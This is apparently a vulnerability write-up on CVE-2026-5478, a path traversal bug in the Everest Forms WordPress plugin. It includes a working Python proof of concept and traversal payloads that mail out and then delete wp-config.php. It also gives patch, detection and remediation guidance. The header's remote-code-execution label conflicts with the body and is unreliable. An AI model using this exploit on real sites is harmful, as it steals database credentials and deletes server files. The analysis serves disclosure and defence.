home intel cve-2026-5478-everest-forms-arbitrary-file-read-rce
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-5478: Everest Forms Path Traversal → Arbitrary File Read & Deletion

Unauthenticated attackers exploit attacker-controlled old_files parameters in Everest Forms ≤3.4.4 to read wp-config.php via notification email attachment and delete arbitrary files via unlink().

#arbitrary-file-read#arbitrary-file-deletion#path-traversal#wordpress-plugin#unauthenticated-attack
Technical mode — for security professionals
▶ Attack flow — CVE-2026-5478 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-5478Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-5478 is a pre-authentication arbitrary file read and deletion vulnerability in the Everest Forms WordPress plugin, affecting all versions up to and including 3.4.4. The plugin accepts an old_files parameter from public form submission payloads as trusted server-side upload state. It then converts attacker-supplied URLs into local filesystem paths via regex-based string replacement — with no canonicalization, no realpath() validation, and no directory boundary enforcement. The resolved path is used in two distinct sinks: it is attached to a notification email (file read), and it is passed to unlink() in a post-email cleanup routine (file deletion). CVSS 8.1 (HIGH) is assigned; no authentication is required.

Root cause: The plugin resolves attacker-supplied old_files URLs to filesystem paths using a URL-prefix regex replacement without calling realpath() or verifying the result stays within the upload directory, allowing full path traversal to any file readable by the web server process.

Affected Component

The vulnerable logic lives in the AJAX/form-submission handler inside includes/class-evf-form-handler.php, specifically the method responsible for processing multipart form data that includes previously uploaded file references. The relevant call chain is:

EVF_Form_Handler::process_form_submission()
  └─ EVF_Form_Handler::upload_file_field_value()
       └─ evf_handle_old_files()
            ├─ evf_url_to_path()          ← path resolution sink (BUG)
            ├─ wp_mail() attachment       ← file read sink
            └─ evf_cleanup_old_files()
                 └─ unlink()             ← file deletion sink

Root Cause Analysis

The core issue is in evf_url_to_path(). The function converts a file URL to a path by stripping the site URL prefix and prepending ABSPATH. No path normalization occurs before the resolved string is used.

/**
 * evf_url_to_path() — reconstructed pseudocode from plugin source
 * File: includes/functions-evf-core.php (approximate)
 */
char *evf_url_to_path(const char *file_url) {
    char *site_url  = get_site_url();       // e.g. "https://victim.com"
    char *abspath   = ABSPATH;              // e.g. "/var/www/html/"

    // BUG: preg_replace strips URL prefix and prepends ABSPATH.
    // No realpath(), no containment check — pure string surgery.
    char *local_path = preg_replace(
        "/^" + preg_quote(site_url, "/") + "/",
        abspath,
        file_url      // ATTACKER CONTROLLED — taken verbatim from old_files[]
    );

    // local_path is returned and trusted for both read and unlink.
    // A file_url of:
    //   "https://victim.com/../../../../etc/passwd"
    // resolves to:
    //   "/var/www/html/../../../../etc/passwd"
    // which the OS collapses to "/etc/passwd".
    return local_path;
}

/**
 * evf_handle_old_files() — processes old_files from form POST data
 * Called during unauthenticated form submission handling.
 */
void evf_handle_old_files(array *form_data, array *notification_attachments) {
    array *old_files = form_data["old_files"];  // POST parameter, no auth check

    foreach (old_files as file_url) {
        // BUG: file_url is attacker-supplied; no allowlist, no MIME check,
        //      no upload-directory containment before resolution.
        char *local_path = evf_url_to_path(file_url);

        // SINK 1: attaches resolved path to outbound notification email
        array_push(notification_attachments, local_path);

        // SINK 2: post-email cleanup — unlinks the same resolved path
        evf_cleanup_old_files(local_path);
    }
}

void evf_cleanup_old_files(const char *local_path) {
    // BUG: unlink() called on attacker-controlled path with no second check.
    if (file_exists(local_path)) {
        unlink(local_path);   // arbitrary file deletion
    }
}

The old_files parameter is designed to carry URLs of files already uploaded in a multi-step form wizard, so the plugin can re-attach them on final submission without re-uploading. Because the parameter is part of the public POST body and the form endpoint requires no authentication, any unauthenticated request can populate it with arbitrary URLs.

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-5478 (Unauthenticated File Read + Deletion):

1. Attacker enumerates a live Everest Forms form ID (form_id) by scraping
   the WordPress site for [everest_form id="X"] shortcodes or REST metadata.

2. Attacker crafts a multipart POST to wp-admin/admin-ajax.php
   (action=evf_submit_form) or the equivalent REST endpoint, injecting a
   path-traversal string into the old_files[] parameter:

     old_files[0] = "https://victim.com/../../../../var/www/html/wp-config.php"

   The URL prefix matches site_url, so preg_replace strips it, yielding:
     local_path = "/var/www/html/../../../../var/www/html/wp-config.php"
   which the filesystem resolves to:
     local_path = "/var/www/html/wp-config.php"   ← wp-config.php

3. The plugin calls wp_mail() with $attachments[] = local_path.
   PHP's mail subsystem opens and reads the file at that path, attaching its
   raw contents (database credentials, secret keys) to the notification email
   sent to the site admin address — which the attacker may have set via a
   honeypot submission or social engineering, but crucially the file is READ
   regardless of email delivery.

4. If the attacker controls or can monitor the notification recipient
   (e.g., by submitting a form whose "reply-to" or custom email field
   is processed by the notification template), they receive wp-config.php
   as an attachment in plaintext.

5. After wp_mail() returns, evf_cleanup_old_files() calls:
     unlink("/var/www/html/wp-config.php")
   The file is permanently deleted from the server.

6. With DB_HOST, DB_NAME, DB_USER, DB_PASSWORD from wp-config.php, the
   attacker connects directly to MySQL (if exposed) or escalates via
   wp-login.php credential reset / admin user insertion.

The attack requires exactly one unauthenticated HTTP request. No file upload, no session, no WordPress account.

#!/usr/bin/env python3
# CVE-2026-5478 — Proof-of-Concept (file read via notification attachment)
# For authorized security testing only.

import requests, sys

TARGET   = sys.argv[1]          # https://victim.com
FORM_ID  = sys.argv[2]          # integer form ID
EMAIL    = sys.argv[3]          # attacker-controlled notification override
TARGET_FILE = "../../../../var/www/html/wp-config.php"

# Build traversal URL: must share the site URL prefix so preg_replace fires.
traversal_url = f"{TARGET}/{TARGET_FILE}"

data = {
    "action":       "evf_submit_form",
    "form_id":      FORM_ID,
    "old_files[0]": traversal_url,
    # Override notification recipient if the form exposes an email field:
    "everest_forms[form_fields][email_1]": EMAIL,
    "everest_forms[form_id]":             FORM_ID,
}

resp = requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data, timeout=15)
print(f"[*] Status: {resp.status_code}")
print(f"[*] Response: {resp.text[:200]}")
print(f"[!] If notification email is delivered to {EMAIL}, wp-config.php")
print(f"    will be attached. The original file is also now unlinked.")

Memory Layout

This is a PHP-layer logic vulnerability rather than a memory corruption bug, so traditional heap diagrams do not apply. The relevant "layout" is the filesystem path resolution pipeline:

PATH RESOLUTION — BEFORE PATCH:

  Input (POST):
    old_files[0] = "https://victim.com/../../../../var/www/html/wp-config.php"

  site_url   = "https://victim.com"
  abspath    = "/var/www/html/"

  preg_replace strips prefix:
    raw_path   = "/../../../../var/www/html/wp-config.php"

  abspath prepended:
    local_path = "/var/www/html/../../../../var/www/html/wp-config.php"
                  ^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                  abspath prefix     traversal sequence (not normalized)

  OS path resolution (no realpath() call):
    final      = "/var/www/html/wp-config.php"   ← OUTSIDE upload dir

  ┌──────────────────────────────────────────────────────────┐
  │  INTENDED boundary:  /var/www/html/wp-content/uploads/  │
  │  ACTUAL access:      /var/www/html/wp-config.php         │
  │                      /etc/passwd                         │
  │                      /etc/shadow  (if readable)          │
  │                      ~/.ssh/id_rsa  (www-data homedir)   │
  └──────────────────────────────────────────────────────────┘

Patch Analysis

The correct fix requires two independent controls: path canonicalization via realpath() and explicit containment enforcement against the uploads directory. Either control alone is insufficient.

// BEFORE (vulnerable — evf_url_to_path, plugin ≤3.4.4):
char *evf_url_to_path(const char *file_url) {
    char *site_url = get_site_url();
    char *abspath  = ABSPATH;

    char *local_path = preg_replace(
        "/^" + preg_quote(site_url, "/") + "/",
        abspath,
        file_url
    );
    // BUG: no realpath(), no containment check — traversal sequences survive
    return local_path;
}

// AFTER (patched):
char *evf_url_to_path(const char *file_url) {
    char *site_url    = get_site_url();
    char *abspath     = ABSPATH;
    char *upload_dir  = wp_upload_dir()["basedir"];  // e.g. /var/www/html/wp-content/uploads

    char *raw_path = preg_replace(
        "/^" + preg_quote(site_url, "/") + "/",
        abspath,
        file_url
    );

    // FIX 1: canonicalize — collapses ../ sequences, resolves symlinks
    char *real_path = realpath(raw_path);
    if (real_path == NULL) {
        return NULL;  // path does not exist or is inaccessible
    }

    // FIX 2: enforce containment — reject anything outside uploads/
    if (strncmp(real_path, upload_dir, strlen(upload_dir)) != 0) {
        // PATCH: path escapes upload directory — reject unconditionally
        return NULL;
    }

    return real_path;
}

// Callers updated to treat NULL return as an error (no attachment, no unlink).
void evf_handle_old_files(array *form_data, array *notification_attachments) {
    array *old_files = form_data["old_files"];
    foreach (old_files as file_url) {
        char *local_path = evf_url_to_path(file_url);
        if (local_path == NULL) continue;   // PATCH: silently drop bad paths
        array_push(notification_attachments, local_path);
        evf_cleanup_old_files(local_path);
    }
}

Detection and Indicators

Web server access logs — look for POST requests to admin-ajax.php or REST form endpoints containing URL-encoded traversal sequences in body parameters:

INDICATORS OF EXPLOITATION:

Access log patterns (grep -i):
  POST /wp-admin/admin-ajax.php  [body contains] old_files%5B
  POST /wp-admin/admin-ajax.php  [body contains] %2F..%2F  OR  /../
  POST /?action=evf_submit_form  [body contains] wp-config

PHP error log (file read attempt on non-existent traversal target):
  Warning: unlink(/etc/shadow): Permission denied in
    .../plugins/everest-forms/includes/class-evf-form-handler.php on line NNN

File integrity monitoring:
  Alert on unexpected mtime/deletion of wp-config.php, .htaccess, index.php

Outbound mail (postfix/sendmail logs):
  Look for wp_mail() calls with attachments containing ABSPATH-rooted paths
  outside wp-content/uploads/ — visible in mail headers as Content-Disposition
  filename values.

Suricata/Snort rule (application-layer POST body inspection):
  alert http any any -> $HTTP_SERVERS any (
    msg:"CVE-2026-5478 Everest Forms path traversal in old_files";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"admin-ajax.php";
    http.request_body; content:"old_files"; content:"../";
    distance:0; within:200;
    sid:2026547801; rev:1;
  )

Remediation

  • Update immediately to Everest Forms ≥3.4.5, which introduces realpath() canonicalization and upload-directory containment checks in the path resolution helper.
  • If immediate update is not possible, use a WAF rule to block POST bodies containing old_files parameters with ../, ..%2F, or %2e%2e sequences.
  • Audit PHP error_log and mail logs for historical exploitation signs as described in the detection section above.
  • Rotate wp-config.php credentials (DB password, AUTH_KEY, SECURE_AUTH_KEY, all salts) if exploitation cannot be ruled out — the file read is silent from the application's perspective.
  • Enforce filesystem permissions: wp-config.php should be 0400 owned by the web server user; secrets should ideally be moved to environment variables outside the webroot entirely.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →